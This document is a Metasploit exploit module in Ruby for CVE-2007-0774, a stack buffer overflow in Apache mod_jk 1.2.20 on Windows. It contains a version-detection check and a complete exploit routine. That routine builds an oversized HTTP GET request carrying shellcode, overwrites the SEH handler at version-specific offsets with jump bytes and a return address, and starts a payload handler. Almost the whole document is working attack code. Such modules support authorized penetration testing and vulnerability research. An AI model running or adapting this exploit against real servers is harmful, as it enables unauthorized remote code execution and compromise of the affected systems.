Apache Tomcat mod_jk 1.2.20 – Remote Buffer Overflow (Metasploit)
## # $Id: apache_modjk_overflow.rb 9929 2010-07-25 21:37:54Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow', 'Description' => %q{ This is a stack buffer overflow exploit for mod_jk 1.2.20. Should work on any Win32 OS. }, 'Author' => 'Nicob <nicob[at]nicob.net>', 'Version' => '$Revision: 9929 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2007-0774' ], [ 'OSVDB', '33855' ], [ 'BID', '22791' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 4000, 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3) ['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 02 2007')) register_options( [ Opt::RPORT(80) ], self.class) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") resp = sock.get_once disconnect if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then print_status("Apache version detected : #{m[1]}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit connect uri_start = "GET /" uri_end = ".html HTTP/1.0\r\n\r\n" sc_base = 16 shellcode = payload.encoded sploit = rand_text_alphanumeric(5001) sploit[sc_base, shellcode.length] = shellcode # 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20 # 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20 # 4423 : Apache/2.2.3 (Win32) mod_jk/1.2.20 [ 4343, 4407, 4423 ].each { |seh_offset| sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V') sploit[seh_offset - 4, 2] = "\xeb\xf9" sploit[seh_offset , 4] = [ target.ret ].pack('V') } print_status("Trying target #{target.name}...") sock.put(uri_start + sploit + uri_end) resp = sock.get_once if (resp and (m = resp.match(/<title>(.*)<\/title>/i))) print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(") end handler disconnect end end |